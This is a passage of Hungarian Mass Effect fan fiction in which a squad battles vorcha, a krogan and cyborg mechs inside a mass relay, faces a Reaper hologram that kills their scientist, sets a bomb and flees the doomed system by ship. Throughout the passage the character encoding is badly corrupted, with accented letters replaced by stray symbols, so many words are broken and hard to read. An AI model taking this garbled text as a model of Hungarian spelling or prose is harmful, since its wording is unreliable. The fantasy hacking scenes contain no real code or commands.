Young hajszA?lpontos fejlA�vA�sekkel a vorchA?kat kezdte tizedelni, mivel Phalanxa kevA�s volt a pA?ncA�lok A�s pajzsok ellen. A hA�tA?rolA? betA�tek pocsA�kolA?sa lett volna, ha a biztonsA?giakkal kezd. Ellenben Williams M-23-as Katana puskA?ja tA�kA�letes eszkA�z volt a krogan nehA�z pA?ncA�lzata ellen, mA�g Walker A�s De Winne M-8-asaikkal tA�z alA? vettA�k a turiA?nokat.
A vA?ratlan kereszttA�z hamar legyA�rte a turiA?nokat. RiadA?t sem tudtak fA?jni, talA?n az sem realizA?lA?dott bennA?k, hogy nem a vorchA?k kerA?ltek mA�gA�jA?k. Ellenben a krogan mA?s lapra tartozott. PA?ncA�lja lyukas volt, mint a szita, rengeteg sebbA�l vA�rzett A�s mindenki legnagyobb bA?natA?ra, elA?rasztotta a vA�rdA?h. A fA?jdalomra A�rzA�ketlen, eszA�t vesztett kroganrA?l csak azt a jA?t lehetett elmondani, hogy ilyen A?llapotban A� sem figyelmeztette feletteseit. Ellenben vA?logatA?s nA�lkA?l pusztA�tott.
A vorchA?knak esA�lyA?k sem volt. A javuk mA?r azelA�tt elpusztult, hogy Young beA?llt volna a ritkA�tA?sukba, a maradA�kot pedig eltaposta a krogan. SzA? szerint. MA�g termA�szetfeletti regenerA?lA?dA?si kA�pessA�gA?k sem vA�di meg A�ket egy pA?ncA�lozott csizmA?tA?l, amint az vA�resre tapossa a fejA?ket. EzutA?n jA�ttek az emberek.
Young tA?l kA�sA�n jA�tt rA?, hogy se a puska, se a kA�t gA�pfegyver nem elA�g ahhoz, hogy megA?llA�tsA?k a krogan rohamA?t. PlA?ne hogy az be is gubA?zott, ami annyit tett, hogy pA?ncA�lja rendszerei aktivA?ltA?k a vA�sz emitterek, A�s egy mA?sodik pajzsot emeltek. Ez sem tarthatott ki A�rA�kkA�, de pont elA�g volt ahhoz, hogy elA�rje A�ket.
Williams fA�lre ugrott, ahogyan Walker is. Ellenben De Winne, talA?n korA?bbi sA�rA?lA�sA�nek, vagy mA�reteinek kA�szA�nhetA�en nem volt ilyen fA?rge. A krogan leszegett fejjel, bika mA?djA?ra telibe kapta. De Winne hA?tra repA?lt. Elejtve fegyverA�t nagyot csattant a padlA?n. PA?ncA�lja behorpadt, sisakja lerepA?lt. MA�gis talpra A?llt. Mi tA�bb, A?vA�ltve rohanni kezdett a krogan felA�. Az pedig felA�.
Young erA�s embernek tartotta De Winne-t, de mA�g A�gy is sokkal kisebb volt a kroganhoz kA�pest. Tudta, hogy puszta kA�zzel esA�lye sem lett volna. Felugrott, hogy egy biotikus lA�kA�ssel megfA�kezze az elszabadult krogant, de tA?l lassA? volt. De Winne mA?r bekerA?lt a cA�lzA?nA?ba, A�s ha A�t talA?lja el, akkor egyenesen nekivA?gja a szA?guldA? krogannak.
a�� Krogan vagyok! a�� A?vA�ltA�tte torkaszakadtA?bA?l a biztonsA?gi, A�s felkA�szA?lt arra, hogy az acA�lpadlA?ba tapossa a katonA?t.
Nem jA?rt sikerrel. De Winne az utolsA? pillanatban felugrott, elkapta a mennyezeten futA? csA�vek egyikA�t A�s felhA?zta magA?t. A krogan elrohant alatta, a vA�rdA?htA�l vakon, tovA?bb, amA�g fejjel neki nem szaladt a falnak. Az acA�llap A?tszakadt, pA?ncA�ldarabok hulltak szerte-szA�t, vA�r spriccelt, A�s a krogan holtan esett A�ssze.
a�� Ember vagyok, barom! a�� kiA?ltotta gyA�zelemittasan De Winne, miutA?n a fA�ldre huppant A�s megszemlA�lte mA�vA�t.
a�� Nem, te egy eszement vagy! a�� kiA?ltott rA? Walker, A�s megveregette a vA?llA?t. a�� Nincs mA�g egy olyan A?tA�dA�tt, aki szembeszaladna egy vA�rdA?htA�l tombolA? krogannal. A�s mA�g rA?juk mondjA?k, hogy elmegy ilyenkor az eszA?k. Neked nem is volt! a�� Walker a termA�szetellenesen kifordult nyakkal A�s elpA�pesedett fejjel fekvA� kroganra pillantott. a�� JA?l csinA?ltad. Ha tA?lA�ljA?k, megA�nekeljA?k.
FolytattA?k A?tjukat, immA?r fennakadA?s nA�lkA?l. Egyetlen megA?llA? volt mA�g, a relA�re nyA�lA? akna ajtaja. Azt Walker vette kezelA�sbe. MindenesA�t nyomogatva tA�rdelt a fA�ldbe helyezett ajtA? fA�lA�tt, kA�zben magA?ban dA?dolt valami rA�gi szA?mot, amit A?llA�tA?lag mA�g a FellegvA?rban hallott az egyik liftben, A�s azA?ta is prA?bA?lja megszerezni, de nem tudja a cA�mA�t.
a�� KA�rdezhetek valamit, lA?nyok? a�� szA?lalt meg vA�gA?l, ahogy egyre tA�bb zA�ld jelent meg a mindenesA�n. Nem vA?rta meg a vA?laszt, feltette kA�rdA�sA�t. a�� Shepard tA�nyleg mindkettA�tA�ket A?gyba vitt?
A kA�t nA� kivA�telesen egyetA�rtett. Egyszerre hA?borodtak fel, pirultak el A�s lettek dA?hA�sek a hadnagyra, aki jA?A�zA�en nevetett. ReakciA?juk felA�rt egy fA�lreA�rthetetlen igennel.
a�� Az az ember egy hA�s! KitA�ntetA�st A�rdemelne, nem hadbA�rA?sA?got a�� mondta, de aztA?n Young csendre intette. Egy perccel kA�sA�bb az ajtA? feltA?rult.
Az aknA?ba leereszkedni az A�njA?rA? bombamech miatt nem volt egyszerA� feladat. A sA?lyos gA�pezetet nehA�z volt beleereszteni a szA�k aknA?ba, pedig mA�g Miranda A�s Young biotikus kA�pessA�geit is felhasznA?ltA?k. MA�gis majdnem fA�l A?ra volt, mire elA�rtA�k az akna aljA?t, A�s a kA�t biotikus mA?r jA?rni is alig tudott.
Young minden parancsnoki tartA?sa ellenA�re kihA?nyta reggelijA�t, bA?r ezA�rt senki nem szA?lta meg. L2-es implantjai nA?la ezt okoztA?k, A�s sajA?t A?llA�tA?sa szerint, A� mA�g olcsA?n megA?szta. Lawson jobban bA�rta, neki csak le kellett A?lnie. Itt A�k mA?r amA?gy sem tehettek semmit. MA�g De Winne A�s Williams ellenA�riztA�k, hogy a bomba nem sA�rA?lt-e meg a leeresztA�s alatt, Kol nekilA?tott a relA� felnyitA?sA?hoz. Gyorsabban vA�gzett, mint a RelA�A?llomA?s nyA�lA?sA?val Walker. Alig tA�z perccel azutA?n, hogy elA�rtA�k a relA� sima, szA?rkA�sfehA�r felszA�nA�t, mA?r a belsejA�ben A?lltak.
a�� Nem A�rtem. Ha a kaszA?sok A�pA�tettA�k a relA�ket, A�s nem a proteaiak, akkor miA�rt vannak embermA�retA� jA?ratok benne? a�� pA?sztA?zott vA�gig a mindenese lA?mpA?jA?val Walker a tA?kA�rsima falakon. A jA?rat, amiben A?lltak tiszta volt, mint egy mA�tA�, A�s koromsA�tA�t, mint a holdtalan A�jszaka.
a�� ValA?szA�nA�leg a kaszA?sok mA?sokkal A�pA�ttettA�k fel, A�s nem maguk hoztA?k lA�tre a relA�ket. TalA?n a gondnokokkal a�� talA?lgatott Kol A�s elindult a folyosA?n. Walker hamar elA� A?llt, mA�gA�tte pedig Young A�s Lawson haladt. A sort Williams A�s a robotot irA?nyA�tA? De Winne zA?rta.
A sA�ri csA�ndben katonai csizmA?ik A�les visszhangot keltettek, de nem tA�nt A?gy, hogy bA?rki is lenne otthon. MA�gsem lanyhult a figyelmA?k. Nem A�k voltak az elsA�k, akik egy relA� belsejA�ben jA?rtak, A�gy pontosan tudtA?k, hogy azok nem vA�dtelenek. FeltA�telezhetA�en a kaszA?sok sejtettA�k, hogy elA�bb-utA?bb valaki megprA?bA?l hozzA?fA�rni a relA�k vezA�rlA�sA�hez, ami keresztA?lhA?zhatta volna a terveiket.
A lA?togatA?k szA?rakoztatA?sA?rA?l beA�pA�tett lA�vegtornyok A�s az emberisA�g elA�tti harcimechek gondoskodtak. A?siek, de korA?ntsem fejletlenek. Az A�rtornyok mA�g nem jelentettek kA?lA�nA�sebb gondot. Kol hamar lekapcsolta A�ket mindenesA�vel, ha pedig kA�slekedett, a tA�zfegyverek A?llA�tottA?k meg A�ket. A haladA?sukat a harcimechek nehezA�tettA�k.
Ezek a biomechanikus gA�pek a hA?sbA?bok elA�dei lehettek. Valaha A�lA�lA�nyek voltak, mostanra azonban rothadA? hA?s A�s kibernetikus beA?ltetA�sek maradtak belA�lA?k. Karjuk helyA�n lA�fegyverek, rakA�tavetA� vagy lA?ngszA?rA?k A?ltek, akadozA? mozgA?sA? testA?ket pajzsok A�s pA?ncA�lok vA�dtA�k. A nyA�legyenes folyosA?kon pedig kevA�s fedezA�k akadt.
A csapat egy rA�sze pA?ncA�ltA�rA� lA�vedA�kre, a mA?sik fA?zislA�vedA�kre vA?ltott. Lawson igyekezett tA?ltA�ltA�ssel gyengA�teni a pajzsokat, mA�g Young torzA�tA?ssal tA�rte A?t a pA?ncA�lokat. KA�zben Kol A�s Walker megidA�zett egy-egy harci drone-t, mA�g Williams elA�hA?zva M-92 Mantis mesterlA�vA�szpuskA?jA?t prA?bA?lta a legsebezhetA�bb pontokat eltalA?lni. Akik mA�gis tA?ljutottak ezen a vegyes halA?lzA?nA?n, azt De Winne intA�zte el a derekA?rA?l lecsatolt M-27 Scimitarral.
A�sszessA�gA�ben haladtak. Lassan, de biztosan tA�rtek A?t a kiborgok sorA?n. A gond csak az volt, hogy a hA�tA?rolA? betA�tek rohamosan fogytak, a pajzskivetA�tA� emitterek kezdtek lemerA?lni, A�s pA?ncA�ljaik sem A?lltak mA?r sokA?ig ellent a rA?juk zA?dulA? csapA?soknak. Csak az a kA�rdA�s maradt, hogy az A� szerencsA�jA?k vagy a relA�t vA�dA� szA�rnyek sora fogy el elA�bb. A vezA�rlA�kA�zpontba vezetA� lift ajtaja elA�tt kezdtek remA�nykedni, hogy a szerencse kitart.
a�� Nem tudom kinyitni! a�� kiA?ltotta Kol kA�tsA�gbeesetten.
a�� Charles!
Youngnak nem kellett tA�bbet mondania. Walker megperdA?lt A�s az ajtA?hoz rohant. Mindenese aktivA?lA?dott A�s mA?r el is kezdte a kA?dtA�rA� szekvenciA?kat futtatni. A kA�r azonban olyan sA�rA�n volt csapdA?kkal, hogy nem tudta A?tjuttatni a kA?dkulcsot. A?llandA?an rA�vidre zA?rta a rendszert, ami visszakapcsolta az ajtA?zA?rat.
a�� Nem megy! Francba! Nem tud valami trA?kkA�t? a�� fordult Kol felA�, aki mellette gubbasztott a sarokban. SA�rt, reszketett, mint a nyA?rfalevA�l A�s rA?zta a fejA�t. Hogy a pA?nik miatt vagy csak a kA�rdA�sre felelt, azt Walker nem tudta eldA�nteni.
Ekkor Williams lA�pett mellA� A�s a kezA�be nyomott egy tA�gelyt. Az egyszerA� fA�mtA?rolA?n tetejA�n csak annyi A?llt: OMNI-GA�L. Walker felnA�zett a nA�re.
a�� Gyereket akarok tA�led! Omninak fogjuk hA�vni! a�� kiA?ltotta A�rA�mtelien Walker A�s feltA�pte a tA�gelyt, tartalmA?t pedig az ajtA? zA?rjA?ra kente. Az szikrA?zva adta meg magA?t A�s az ajtA? feltA?rult. a�� SikerA?lt! Parancsnok, jA�ha��
A rakA�ta robbanA?sA?t Williams pajzsa felfogta, egyA?ttal megvA�dte Kolt is. A?m Walker emitterei mA?r nem bA�rtA?k a rA?juk szakadA? kA�zvetlen erA�hatA?st. A testA�be csapA?dA? rakA�ta ugyan nem tA�pte szA�t, de a kiszabadulA? energiA?k porrA? zA?ztA?k a csontjait. RongybabakA�nt zuhant be a liftbe, vA�gigcsA?szott a padlA?n A�s megA?llt a falnA?l.
a�� Chuck! a�� kiA?ltotta Lawson A�s a tA?madA?k felA� lendA�tette karjA?t. VakA�tA? villanA?s hagyta el, majd kA�zvetlen a kiborg-rA�mek elA�tt lA�trejA�tt egy szingularitA?s. A gA�peket sorra felkapta, a kisebbeket el is nyert. A folyosA?n keletkezett huzat A�s gravitA?ciA?s torzulA?s ellenA�re a csapat akadA?lymentesen mozgott, hA?la a Young A?ltal teremtett biotikus pajzsnak, amit maguk A�s a mestersA�ges feketelyuk kA�zA� hA?zott fel. Williams felrA?ngatta a fA�ldrA�l Kolt, majd Young A�s De Winne fedezete alatt behA?trA?lt a liftbe. A sort Lawson zA?rta, aki az ajtA? bezA?rA?sA?val egy idA�ben felhagyott a koncentrA?lA?ssal A�s a szingularitA?s megszA�nt.
Young megfordult A�s lenA�zett a lA?bA?nA?l tA�rdelA� De Winne-re. A kopasz fA�rfi halott bajtA?rsa mellett A?lt A�s csillogA? tekintettel meredt rA?.
a�� Frank a�� A�rintette meg a fA�hadnagy vA?llA?t Young. a�� A?llj fel! a�� SzelA�den mondta, embere mA�gis engedelmeskedett. FelA?llt, megtA�rA�lte szemA�t A�s megigazA�totta sisakjA?t. EltA�kA�lten nA�zett parancsnoka szemA�be. Young bA?lintott, megveregette embere fejA�t, majd leguggolt Walkerhez A�s letA�pte dA�gcA�dulA?ja egyik felA�t.
Willams-ra pillantott, aki csendben elmormolt egy imA?t WalkerA�rt. Young nem volt hA�vA�, de hA?lA?s volt a FANTOM-nak. EnnA�l tA�bbet mA?r A?gysem tehetnek. A tA?vozA?skor nem vihetik magukkal Walker testA�t, vagyis a relA�ben fogja az enyA�szet utolA�rni. Ha sikerA?l a programmal lezA?rni, akkor talA?n A�vek, A�vszA?zadok mA?lva majd valaki rA?lel A�s tisztessA�ggel eltemeti, de ha nema�� Young megrA?zta a fejA�t.
A liftajtA? kinyA�lt. MegA�rkeztek a vezA�rlA�kA�zpontba. A helyisA�g nem volt mA?s, mint egy kA�r alakA? terem, a kA�zepA�n egy holografikus kijelzA�kkel teli konzollal. Sehol egy dA�szA�tA�si elem, repedA�s a falon, vagy koszfolt. Azonban itt belA�ptA?kre villany gyA?lt A�s A�letre kelt a konzol.
a�� Ez lesz az! a�� Kol hirtelen felugrott, s mintha sosem esett volna pA?nikba, a vezA�rlA�hA�z rohant. a�� Itt mA?r nincs mitA�l fA�lni. Nem helyeztek el A?gyA?kat, A�s a kiborgok nem jA�hetnek le ide. Gondolom a kaszA?sok fA�ltettA�k a vezA�rlA�t, elvA�gre e nA�lkA?l a relA� nem mA?s, mint egy nagy papA�rnehezA�k az A�rben.
a�� Ha maga mondja, Serina a�� azzal intett De Winne-nek A�s Williams-nak, hogy A�rizzA�k a liftet, mA�g A� A�s Lawson kA�rbejA?rtA?k a termet. Nem lA?ttak rejtett rekeszeket, ajtA?kat, semmi veszA�lyforrA?st.
Kol aktivA?lta mindenesA�t. Gyorsan pA�tyA�gA�tt a konzolok holoklaviatA?rA?jA?n, egyidejA�leg mindenesA�n. Egyszer megjegyezte, hogy kA?r, hogy nincs nA�gy keze, gyorsabban haladhatna.
a�� SzerencsA�re a Fejedelem A?ltal feltA�ltA�tt program megmutatta, hogyan lehet hozzA?fA�rni a relA� vezA�rlA�sA�hez. TrA?kkA�s, de nem tA?lsA?gosan bonyolult. Mint egy labirintus. Ha az ember tudja, hogyan kell vA�gigmenni, egyA?ltalA?n nem nehA�z a�� csacsogta.
a�� Mennyi idA� mA�g?
a�� MA?r a rendszerben vagyok. A feltA�ltA�s folyamatban. Egy perc parancsnok, A�s mi leszA?nk az elsA�k a tA�rtA�nelemben, akik kA�pesek lesznek egy relA�t irA?nyA�tani a�� Kol, amiA?ta Young megismerte, most sugA?rzott elA�szA�r a boldogsA?gtA?l, mutatta a magabiztossA?g jeleit. Mint egy kisgyerek, aki a szA?letA�snapi ajA?ndA�kA?val jA?tszik.
a�� MA?rmint a mi tA�rtA�nelmA?nkben a�� helyesbA�tett Lawson. a�� A proteaiak sajA?t relA�t A�pA�tettek a FellegvA?r A�s Ilos kA�zA�tt.
a�� Igen, a VezetA�. Mi most tesszA?k meg az elsA� lA�pA�seket. Ha kA�pesek leszA?nk a relA�k vezA�rlA�sA�re, megA�rthetjA?k A�ket A�s akkor A�pA�thetA?nk mi is VezetA�ket. Akkor pedig a kaszA?soknak semmi esA�lyA?k sem lesz.
a�� Amit sosem fogtok megA�rni a�� a fA�ldA�ntA?li hang vA�gigkopogott a kerek csarnokon, megfagyasztva a vA�rt mind az A�tA�kben. A vezA�rlA� fA�lA�tt megjelent egy amorf, leginkA?bb deltoid alakA? pA?kra emlA�keztetA� lA�ny aranyszA�nA� hologramja. Egy kaszA?s volt az.
a�� EsendA�, szA?nalmas bolondok, azt hiszitek, kA�pesek vagytok megA�rteni a technikA?nkat? Az uralmatokba venni? Sok milliA?an prA?bA?lkoztak mA?r ezzel elA�ttetek, A�s mindig elbuktak.
a�� MA�gis elpusztA�tottuk a Fejedelmet, a begyA�jtA�ket! a�� lA�pett elA�re Young, fegyverA�t kA�szenlA�tben tartva. Egy egyszerA� hologramtA?l nem tartott volna, de elkA�pzelA�se sem volt, mire lehet kA�pes egy kaszA?s hologramja.
a�� AprA? gyA�zelmek, ne ringassA?tok magatokat illA?ziA?kba. Van kA�ztetek olyan, aki maga is lA?thatta, hogy nem Fejedelem volt az elsA� kA�zA?lA?nk, aki elbukott.
Lawson talA?n A�letA�ben elA�szA�r, elsA?padt. A? jA?rt a roncs kaszA?son, ami a Mnemosyne kA�rA?l keringet, mA�g Shepard kA�zbenjA?rA?sA?nak hA?la le nem zuhant. Onnan szereztA�k meg a kaszA?s IFF -et, amivel A?tjuthattak az Omega 4 relA�n. De honnan tudhatta ez a kaszA?s?
a�� Eme gyA�zelem, mint ahogy elA�ttetek mA?soknak, nektek is csak hiA? remA�nyt jelenthet. Egy kaszA?s elbukik, egy civilizA?ciA? elpusztul. A�s a romokbA?l A?jabb kaszA?sok szA?letnek az elesettek helyA�re. VesztesA�geinkkel csak erA�sA�dA?nk, mA�g ti sorra eltA�ntA�k.
a�� MegA?llA�tunk benneteket!
a�� Te nem Shepard vagy, mA�gis az A� ostobasA?gA?t harsogod. Nincs esA�lyetek, se itt, se mA?shol. Ha kA�pesek is lennA�tek lekapcsolni ezt a relA�t, az sem szA?mA�tana. Egy perc vagy ezer A�v, nekA?nk mindegy.
a�� De nekA?nk nem. A nyert idA�t felhasznA?lhatjuk, hogy elpusztA�tsunk benneteket.
a�� A�tvenezer A�v kevA�s volt, hogy elA�rjetek a szintA?nkre. Asjabb A�tvenezer sem lenne elA�g.
a�� Akkor mitA�l fA�lsz? a�� kA�rdezte Williams. a�� MiA�rt jelentA�l meg? Csak nem azA�rt, hogy hA?zd az idA�t, mA�g ideA�rtek?
a�� Nem fA�lA?nk, Ashley Williams a�� a FANTOM nyelt egyet. a�� AzA�rt vagyok, hogy hA�rA�t adjam: itt vagyunk. MegA�rkeztA?nk. Napjaitok megszA?moltatott. TA�rjetek haza, bA?csA?zzatok el szeretteitektA�l, A�s kA�szA?ljetek a vA�gre.
a�� Nekem ez A?gy hangzik, mintha fA�lnA�l a�� A?llt Lawson Williams mellA�. a�� FA�lsz, hogy lezA?rjuk a relA�t. FA�lsz, hogy a nyert idA�vel Shepard megtalA?lja a mA?djA?t az elpusztA�tA?sotoknak. FA�lsz, hogy az emberek A�s a tA�bbi faj felkA�szA?l az A�rkezA�setekre.
a�� Nem fA�lA?nk.
Young elmosolyodott.
a�� SzajkA?zd csak, mA�g el nem hiszed.
a�� ArroganciA?tok bA?mulatos. De itt az ideje, hogy megtanuljA?tok, senkik vagytok, semmibA�l jA�ttetek A�s a semmibe vesztek. EnyA�m az irA?nyA�tA?s.
Ha tudtA?k volna, mi kA�vetkezik, akkor sem menthettA�k volna meg. A holobillentyA�zetbA�l kicsapA? energiaA�vek vA�gigfutottak a mindenesen, kA�rA?lA�leltA�k Kol testA�t A�s elpA?rologtattA?k. A doktornA� dobhA?rtyaszaggatA? halA?lsikollyal tA?vozott az A�lA�k sorA?bA?l. Semmi nem maradt belA�le. Se fA?st, se hamu. Sejtjei megszA�ntek lA�tezni.
a�� Rohadj meg! a�� A?vA�ltA�tte Young A�s elA�re ugrott. Szerette volna megA?tni a kaszA?st, vagy legalA?bb a vezA�rlA�pultot. DA?he tombolA?sra sarkalta, A?m mielA�tt lecsaphatott volna, Williams A�s Lawson visszarA?ntottA?k.
a�� Most mA?r lA?thatjA?tok. MA�g fA�nyA�vekrA�l is elpusztA�thatunk benneteket. HozzA?nk kA�pest porszemek vagytok, akiket elfA?junk. HA?doljatok be, A�s halA?lotok kA�mA�letes lesz.
Young szikrA?zA? szemekkel nA�zett fel a hologramra. FegyverA�t eltette A�s szA�ttA?rt kezekkel lA�pett elA�.
a�� Gyertek! Gyertek ti anyaszomorA�tA? gyA?va fA�rgek! Csak tA?volrA?l, mA?sokat irA?nyA�tva tudtuk harcolni, vagy a relA�ket lezA?rva, a nA�peket bezA?rva sajA?t rendszereikbe. De ennek vA�ge! Shepard A�s Ashley elpusztA�tottA?k Sarent. A SzA�vetsA�g flottA?ja szA�tlA�tte a Fejedelmet. Shepard A�s Miranda felrobbantottA?k a begyA�jtA�k bA?zisA?t, vele a csecsemA�tA�ket. Shepard hA?romszor hA?zta keresztA?l a szA?mA�tA?saitokat, A�s most A�n, John Young, Frank De Winne, Miranda Lawson A�s Ashley Williams, A?jra keresztbe teszA?nk nektek. JegyezzA�tek meg ezeket a neveket, mert mikor tA�nyleg ideA�rtek, mikor rA?jA�ttA�k, hogy ezA?ttal mA?s lesz a hA?borA?, mert nektek is a csatatA�ren kell lennetek, talA?lkozni fogtok velA?nk. A�s mi gyA�zA?nk! SzA?val gyertek, A�s rettegjetek.
Young minden dA?hA�t beleadta abba a lA�kA�shullA?mba, amivel lecsapott a vezA�rlA�re. A konzol szA�trobbant, a hologram elenyA�szett, pont A?gy, mint Kol. A?m a relA�ben mA�g A�gy sem tettek kA?rt. MA�ga��
a�� Frank, idA�zA�tsd a bombA?t. A levegA�be repA�tjA?k ezt a kA?cerA?jt.
a�� A�s mi? a�� A�rdeklA�dA�tt Williams. a�� Nem bA?nom a halA?lt, de azA�rt jobban szeretek A�lni.
a�� Nyugalom, hadnagy. a�� Young megA�rintette a fA?le mA�gA�tt a bA�rt. a�� PrA�rifarkas, itt Gyalogkakukk.
a�� Itt PrA�rifarkas, hallgatjuk, Gyalogkakukk a�� reccsent a fA?le mA�gA� A?ltetett kommunikA?torban az SSV Arnheim SR-1 kapitA?nyA?nak hangja.
a�� A kA?ldetA�s befejezve. Azonnali evakuA?lA?st kA�rA?nk.
a�� Vettem, Gyalogkakukk. A PrA�rifarkas megy magukA�rt. TI tizenA�t, zA�rA? pontnA?l.
a�� Vettem! a�� azzal bontotta a kapcsolatot. a�� Na, emberek, tizenA�t percA?nk van, hogy eljussunk a kilencvennA�gyes dokkig.
a�� MA?rmint a RelA�A?llomA?son? a�� hA?ledezett Lawson.
a�� Nem, Mos Eisley-ban a�� vA?gta rA? Williams.
a�� A bomba kA�sz, Top a�� jelentette De Winne.
A csapat besorjA?zott a liftbe A�s felmentek vele a legfelsA� emeletre. Ahogy sejtettA�k, a kiborgok mA�g mindig ott voltak. A szingularitA?st ugyan nem sok A�lte tA?l, de mA�g mindig elA�g volt ahhoz, hogy ellehetetlenA�tsA�k a tizenA�t perces menetet. MA?r ha nem kA�szA?ltek volna.
Young A�s Lawson biotikus pajzsot emeltek, mA�g De Winne felpattintotta pA?ncA�lja egy rejtett rekeszA�t A�s kA�zigrA?nA?tokat hA?zott ki belA�le. Egyiket a mA?sik utA?n hajA�totta ki, majd hasra vetA�dA�tt. Williams kA�vette, mA�g a kA�t biotikus csak A�sszekuporodott. Behunyt szemmel minden erejA?ket a pajzsokba pumpA?ltA?k, hogy egyben tartsA?k magukat A�s a folyosA? lift felA�li szakaszA?t.
A robbanA?ssorozat szA�ttA�pett mindent, ami a biotikus pajzsokon kA�vA?l volt. A folyosA? romokban hevert, mindenA?tt elszenesedett kiborg testrA�szek hevertek.
a�� FutA?s! a�� adta ki a parancsot Young, A�s nem A�rdekelte, mennyire van rosszul, elA�re lendA?lt. Kis hA�jA?n elesett, de sikerA?lt megA�riznie egyensA?lyA?t. Az adrenalin jA?tA�kony hatA?ssal volt rA?.
Kiborgokba legkA�zelebb a kijA?ratot is rejtA� folyosA?n talA?lkoztak. BA?rmi vezA�relte A�ket, jA? helyre irA?nyA�totta a vA�delmi erA�ket. Azonban mA?r tA?l kevA�s gA�p maradt. A kA�t biotikus A�s a kA�t katona egyidejA� tA?madA?sa ellen nem tudtak vA�dekezni, A�s mire komolyabban szembeszA?llhattak volna, mA?r elpusztultak.
A�t perc. Ennyi idA�be telt eljutniuk a nehA�zkesen mozgA?, sA�rA?lA�keny bomba-kreatA?ra nA�lkA?l a vezA�rlA�kA�zpontbA?l a kijA?rathoz. Magukra akasztottA?k a kA?beleket A�s beindA�tottA?k a csA�rlA�ket. Az aknA?n mA?sodpercek alatt A?tjutottak, maguk mA�gA�tt hagyva a relA�t.
Futottak. InaszakadtukbA?l. El a vorchA?k, a turiA?nok A�s a krogan holteste mellett, el a mA�g mindig eszmA�letlen szalA?ri karbantartA?k mellett, vA�gig a Lawson A?ltal lezA?rt terA?leten, be a karbantartA?mech-boltnak A?lcA?zott fegyverkereskedA�sbe, vA�gA?l ki a promenA?dra. A tA�meg nem ritkult, az itt lA�vA�k semmit sem tudtak arrA?l, mi tA�rtA�n alig pA?r szA?z mA�terre a lA?buk alatt. Hogyan dA�ntA�tt egy szA�vetsA�gi parancsnok a sorsukrA?l, hogy a kaszA?sok hA�rnA�ke mit mondott nekik az esA�lyeikrA�l. Hogyan halt meg a galaxisA�rt egy ember A�s egy aszA?ri, kA�t turiA?n, egy krogan, valamint szA?mtalan vorcha. Semmit sem tudtak, A�s sosem fogjA?k megtudni, mert alig tA�z perc mA?lva a csillagrendszerbA�l nem marad mA?s, csak csillagkA�zi por A�s sugA?rzA?s.
A csapat vA�gigrohant a promenA?don, felA�klelve, akik az A?tjukba kerA?ltek. ValA?szA�nA�leg felkeltettA�k nA�hA?ny biztonsA?gi figyelmA�t is, de ez egyikA?ket sem A�rdekelte. Rohantak, ahogy tudtak, rohantak az A�letA?kA�rt.
A hangA?rba A�rve aztA?n megtorpantak.
a�� Hol van Miranda? a�� kA�rdezte Williams kA�rbe-kA�rbe fordulva. A Cerberus A?gynA�ke eltA�nt. HA?trafelA� lestek, hA?tha feltA�nik a tA�megben, hiA?ba. Lawson felszA�vA?dott, bA?r egyikA?knek sem esett nehezA�re kitalA?lni, hovA? lett. ValA?szA�nA�leg A?ton van a sajA?t hajA?jA?hoz.
a�� A francba! a�� dA?hA�ngA�tt Williams.
a�� Hagyja! Kisebb gondunk is nagyobb most Shepard tetteinek bizonygatA?sA?nA?l a�� azzal karon ragadta a nA�t A�s maga utA?n hA?zva beszA?guldottak a hangA?rba.
A vA?mtiszt, aki alig pA?r A?rA?ja beengedte A�ket, most megprA?bA?lta az A?tjukat A?llni. Rossz A�tlet volt, De Winne a puska tusA?val a szemei kA�zA� A?tA�tt. TA?rsai dA�bbenten nA�ztA�k fA�nA�kA?k A�sszeesA�sA�t, majd hirtelen fegyvereik utA?n kaptak.
Ebben a pillanatban egy Normandia osztA?lyA? fregatt suhant A?t nagy sebessA�ggel a lA�gnyomA?st A�rzA� erA�tA�ren. Nem landolt, a leszA?llA?si protokollok minden pontjA?t megszegte. LA�zerA?gyA?jA?val lerobbantotta az egyik teherhajA?t a dokkolA? A?llA?srA?l, A�s a maradvA?nyok mellA� suhant. OldalA?n a zsilip kitA?rult, belA�le hA?rom pA?ncA�los ember ugrott ki A?llig fegyverben. Young, De Winne A�s Williams felA�jA?k iramodott.
KA�zben a biztonsA?giak kezdtek rA?A�bredni arra, hogy a RelA�A?llomA?s szA�vetsA�gi tA?madA?s alatt A?ll. TA?zet nyitottak a menekA?lA�kre, A?m hiA?ba. Az SSV Arnheim katonA?inak fedezete mellett A�s a pA?ni-fA�lelemmel menekA?lA� tA�megek sodrA?sA?ban kA�ptelenek voltak eltalA?lni a triA?t.
De Winne ugrott fel elA�szA�r a hajA?ra, majd jA�tt Williams, vA�gA?l Young. A?ket a hA?rom katona zA?rta, majd a zsilipkapu is a helyA�re csusszant.
a�� Ennyi? a�� kA�rdezte egy fiatal fA�rfi a sisakja alA?l. Young a homlokA?rA?l tA�rA�lgetve a verejtA�ket, bA?lintott. A katona lecsapott a kompanelra. a�� TA?lA�lA�k a fedA�lzeten.
Az SSV Arnheim meglA?dult a lA?buk alatt. Young a gravitA?ciA?s kiegyenlA�tA�kkel hadakozva elhagyta a zsilipet A�s bevA?gtatott a pilA?tafA?lkA�be, ahol a kapitA?nyt, a kormA?nyost A�s a navigA?tort talA?lta.
a�� Shemesh kapitA?ny, A�rvendek.
a�� Young parancsnok, maguk aztA?n alaposan kicentiztA�k a�� mondta a szakA?llas, A�reg tengeri medvA�re emlA�keztetA� fA�rfi. a�� Sikerrel jA?rtak?
a�� Nem, A�ppen ezA�rt tA�zzA?nk innen, mert ez a naprendszer kA�t perc mA?lva megsemmisA?l.
a�� A�rtettem. Miss. Barnett, irA?ny a relA�.
a�� A�rtettem kapitA?ny a�� zongorA?zott a holokonzolon a szA�ke kormA?nyos. A hajA? A?jra megperdA?lt A�s szembefordult a relA�vel, ami A�ppen ekkor lA�tt ki egy hajA?t. Young jA?l tudta, ki tA?vozott ilyen sebesen. Egy perccel kA�sA�bb A�k is kilA�ttek a legkA�zelebbi, a FellegvA?r terA?letA�re vezetA� relA� felA�. Asjabb perccel kA�sA�bb a RelA�A?llomA?s A�s a naprendszer nem lA�tezett tA�bbA�.

KA�t nappal kA�sA�bb Young a fA�ldi parancsnoksA?g egyik konferenciatermA�ben A?llt. A tucatnyi ember szA?mA?ra kialakA�tott szoba falA?n kA?lA�nfA�le katonai hajA?k kA�pei sorakoztak, olyan nevekkel, mint SSV Fuji, SSV Perugia, SSV Budapest, SSV Normadia. A pA?dium mA�gA�tti kivetA�tA�n a Rendszer SzA�vetsA�g A betA�t formA?zA? logA?ja volt, melynek kA�zA�psA� szA?rA?t a FA�ld alkotta.
